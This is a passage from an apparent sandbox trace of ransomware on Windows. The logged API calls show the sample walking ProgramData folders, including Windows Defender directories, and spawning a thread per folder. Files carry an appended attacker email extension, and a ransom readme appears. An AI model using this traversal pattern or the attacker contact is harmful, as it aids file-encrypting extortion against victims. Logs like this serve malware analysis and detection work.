(HeapHandle=0x2f60000, Flags=0x8, Size=0x68) returned 0x2f604a0 [0170.976] wcscpy (in: _Dest=0x2f604a0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0170.976] wcscat (in: _Dest=0x2f604a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\" [0170.976] wcscat (in: _Dest=0x2f604a0, _Source="Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0170.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f604a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x940 [0170.977] FindNextFileW (in: hFindFile=0x2f7fa20, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc0597ac7, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc0597ac7, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 1 [0170.977] wcscmp (_String1="Support", _String2=".") returned 1 [0170.977] wcscmp (_String1="Support", _String2="..") returned 1 [0170.977] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6c) returned 0x2f96be8 [0170.977] wcscpy (in: _Dest=0x2f96be8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0170.977] wcscat (in: _Dest=0x2f96be8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\" [0170.977] wcscat (in: _Dest=0x2f96be8, _Source="Support" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support" [0170.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f96be8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x944 [0170.978] FindNextFileW (in: hFindFile=0x2f7fa20, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc0597ac7, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc0597ac7, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 0 [0170.978] FindClose (in: hFindFile=0x2f7fa20 | out: hFindFile=0x2f7fa20) returned 1 [0170.979] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3023590) returned 1 [0170.979] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87958) returned 1 [0170.979] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87c98) returned 1 [0170.979] RtlExitUserThread (Status=0x0) Thread: id = 1830 os_tid = 0xf60 [0169.346] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2fa3218 [0169.346] wcscpy (in: _Dest=0x2fa3218, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection" [0169.346] wcscat (in: _Dest=0x2fa3218, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\" [0169.346] wcscat (in: _Dest=0x2fa3218, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\*" [0169.346] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30237f8 [0169.346] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\*", lpFindFileData=0x30237f8 | out: lpFindFileData=0x30237f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a90a48, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fa60 [0169.347] wcscmp (_String1=".", _String2=".") returned 0 [0169.347] FindNextFileW (in: hFindFile=0x2f7fa60, lpFindFileData=0x30237f8 | out: lpFindFileData=0x30237f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a90a48, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.347] wcscmp (_String1="..", _String2=".") returned 1 [0169.347] wcscmp (_String1="..", _String2="..") returned 0 [0169.347] FindNextFileW (in: hFindFile=0x2f7fa60, lpFindFileData=0x30237f8 | out: lpFindFileData=0x30237f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a9166d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0169.347] wcscmp (_String1="Cache", _String2=".") returned 1 [0169.347] wcscmp (_String1="Cache", _String2="..") returned 1 [0169.347] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9e) returned 0x2fee630 [0169.348] wcscpy (in: _Dest=0x2fee630, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection" [0169.348] wcscat (in: _Dest=0x2fee630, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\" [0169.348] wcscat (in: _Dest=0x2fee630, _Source="Cache" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache" [0170.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fee630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b4 [0170.968] FindNextFileW (in: hFindFile=0x2f7fa60, lpFindFileData=0x30237f8 | out: lpFindFileData=0x30237f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0170.968] wcscmp (_String1="Temp", _String2=".") returned 1 [0170.968] wcscmp (_String1="Temp", _String2="..") returned 1 [0170.968] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2fedfa0 [0170.968] wcscpy (in: _Dest=0x2fedfa0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection" [0170.968] wcscat (in: _Dest=0x2fedfa0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\" [0170.968] wcscat (in: _Dest=0x2fedfa0, _Source="Temp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp" [0170.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fedfa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924 [0170.969] FindNextFileW (in: hFindFile=0x2f7fa60, lpFindFileData=0x30237f8 | out: lpFindFileData=0x30237f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0170.969] FindClose (in: hFindFile=0x2f7fa60 | out: hFindFile=0x2f7fa60) returned 1 [0170.969] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30237f8) returned 1 [0170.969] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa3218) returned 1 [0170.969] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3c20) returned 1 [0170.969] RtlExitUserThread (Status=0x0) Thread: id = 1831 os_tid = 0xf64 [0169.348] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4ae0 [0169.348] wcscpy (in: _Dest=0x2fa4ae0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Live" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Live") returned="C:\\Users\\All Users\\Microsoft\\Windows Live" [0169.348] wcscat (in: _Dest=0x2fa4ae0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Live\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Live\\" [0169.348] wcscat (in: _Dest=0x2fa4ae0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Live\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Live\\*" [0169.348] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3023a60 [0169.348] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Live\\*", lpFindFileData=0x3023a60 | out: lpFindFileData=0x3023a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8672f81c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8672f81c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7faa0 [0169.349] wcscmp (_String1=".", _String2=".") returned 0 [0169.349] FindNextFileW (in: hFindFile=0x2f7faa0, lpFindFileData=0x3023a60 | out: lpFindFileData=0x3023a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8672f81c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8672f81c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.349] wcscmp (_String1="..", _String2=".") returned 1 [0169.349] wcscmp (_String1="..", _String2="..") returned 0 [0169.349] FindNextFileW (in: hFindFile=0x2f7faa0, lpFindFileData=0x3023a60 | out: lpFindFileData=0x3023a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8672f81c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8672f81c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8672f81c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0169.349] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0169.349] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0169.349] FindNextFileW (in: hFindFile=0x2f7faa0, lpFindFileData=0x3023a60 | out: lpFindFileData=0x3023a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a996721, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x867095c0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x12f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WLive48x48.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="WLIVE4~1.D0E")) returned 1 [0169.349] wcscmp (_String1="WLive48x48.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0169.349] wcscmp (_String1="WLive48x48.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0169.349] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x2f9f1b0 [0169.349] wcscpy (in: _Dest=0x2f9f1b0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Live" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Live") returned="C:\\Users\\All Users\\Microsoft\\Windows Live" [0169.349] wcscat (in: _Dest=0x2f9f1b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Live\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Live\\" [0169.349] wcscat (in: _Dest=0x2f9f1b0, _Source="WLive48x48.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Live\\WLive48x48.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Live\\WLive48x48.png.mailto[kokoklock@cock.li].d0e731" [0170.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9f1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b8 [0170.966] FindNextFileW (in: hFindFile=0x2f7faa0, lpFindFileData=0x3023a60 | out: lpFindFileData=0x3023a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a996721, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x867095c0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x12f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WLive48x48.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="WLIVE4~1.D0E")) returned 0 [0170.966] FindClose (in: hFindFile=0x2f7faa0 | out: hFindFile=0x2f7faa0) returned 1 [0170.966] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3023a60) returned 1 [0170.966] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4ae0) returned 1 [0170.966] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa270) returned 1 [0170.966] RtlExitUserThread (Status=0x0) Thread: id = 1832 os_tid = 0xf68 [0169.350] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x54) returned 0x2fa4a80 [0169.350] wcscpy (in: _Dest=0x2fa4a80, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT") returned="C:\\Users\\All Users\\Microsoft\\Windows NT" [0169.350] wcscat (in: _Dest=0x2fa4a80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\" [0169.350] wcscat (in: _Dest=0x2fa4a80, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\*" [0169.350] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30200a0 [0169.350] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\*", lpFindFileData=0x30200a0 | out: lpFindFileData=0x30200a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a93496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fb60 [0169.351] wcscmp (_String1=".", _String2=".") returned 0 [0169.351] FindNextFileW (in: hFindFile=0x2f7fb60, lpFindFileData=0x30200a0 | out: lpFindFileData=0x30200a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a93496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.351] wcscmp (_String1="..", _String2=".") returned 1 [0169.351] wcscmp (_String1="..", _String2="..") returned 0 [0169.351] FindNextFileW (in: hFindFile=0x2f7fb60, lpFindFileData=0x30200a0 | out: lpFindFileData=0x30200a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb2396478, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb2396478, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFax", cAlternateFileName="")) returned 1 [0169.351] wcscmp (_String1="MSFax", _String2=".") returned 1 [0169.351] wcscmp (_String1="MSFax", _String2="..") returned 1 [0169.351] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87c30 [0169.351] wcscpy (in: _Dest=0x2f87c30, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT") returned="C:\\Users\\All Users\\Microsoft\\Windows NT" [0169.351] wcscat (in: _Dest=0x2f87c30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\" [0169.351] wcscat (in: _Dest=0x2f87c30, _Source="MSFax" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" [0170.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc [0170.963] FindNextFileW (in: hFindFile=0x2f7fb60, lpFindFileData=0x30200a0 | out: lpFindFileData=0x30200a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0e356, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 1 [0170.963] wcscmp (_String1="MSScan", _String2=".") returned 1 [0170.963] wcscmp (_String1="MSScan", _String2="..") returned 1 [0170.963] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5e) returned 0x2f87fd8 [0170.963] wcscpy (in: _Dest=0x2f87fd8, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT") returned="C:\\Users\\All Users\\Microsoft\\Windows NT" [0170.963] wcscat (in: _Dest=0x2f87fd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\" [0170.963] wcscat (in: _Dest=0x2f87fd8, _Source="MSScan" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan" [0170.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87fd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920 [0170.964] FindNextFileW (in: hFindFile=0x2f7fb60, lpFindFileData=0x30200a0 | out: lpFindFileData=0x30200a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0e356, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 0 [0170.964] FindClose (in: hFindFile=0x2f7fb60 | out: hFindFile=0x2f7fb60) returned 1 [0170.964] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30200a0) returned 1 [0170.964] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4a80) returned 1 [0170.964] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f888f0) returned 1 [0170.964] RtlExitUserThread (Status=0x0) Thread: id = 1833 os_tid = 0xf6c [0169.351] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6e) returned 0x2f96dc8 [0169.351] wcscpy (in: _Dest=0x2f96dc8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Security Health" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Security Health") returned="C:\\Users\\All Users\\Microsoft\\Windows Security Health" [0169.352] wcscat (in: _Dest=0x2f96dc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\" [0169.352] wcscat (in: _Dest=0x2f96dc8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\*" [0169.352] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022720 [0169.352] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\*", lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.352] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022720) returned 1 [0169.352] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.352] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96eb8) returned 1 [0169.352] RtlExitUserThread (Status=0x0) Thread: id = 1834 os_tid = 0xf70 [0169.353] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x50) returned 0x2fa0950 [0169.353] wcscpy (in: _Dest=0x2fa0950, _Source="C:\\Users\\All Users\\Microsoft\\WinMSIPC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WinMSIPC") returned="C:\\Users\\All Users\\Microsoft\\WinMSIPC" [0169.353] wcscat (in: _Dest=0x2fa0950, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\") returned="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\" [0169.353] wcscat (in: _Dest=0x2fa0950, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\*") returned="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\*" [0169.353] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022720 [0169.353] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\*", lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fc60 [0169.354] wcscmp (_String1=".", _String2=".") returned 0 [0169.354] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.357] wcscmp (_String1="..", _String2=".") returned 1 [0169.357] wcscmp (_String1="..", _String2="..") returned 0 [0169.357] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0169.357] wcscmp (_String1="Server", _String2=".") returned 1 [0169.357] wcscmp (_String1="Server", _String2="..") returned 1 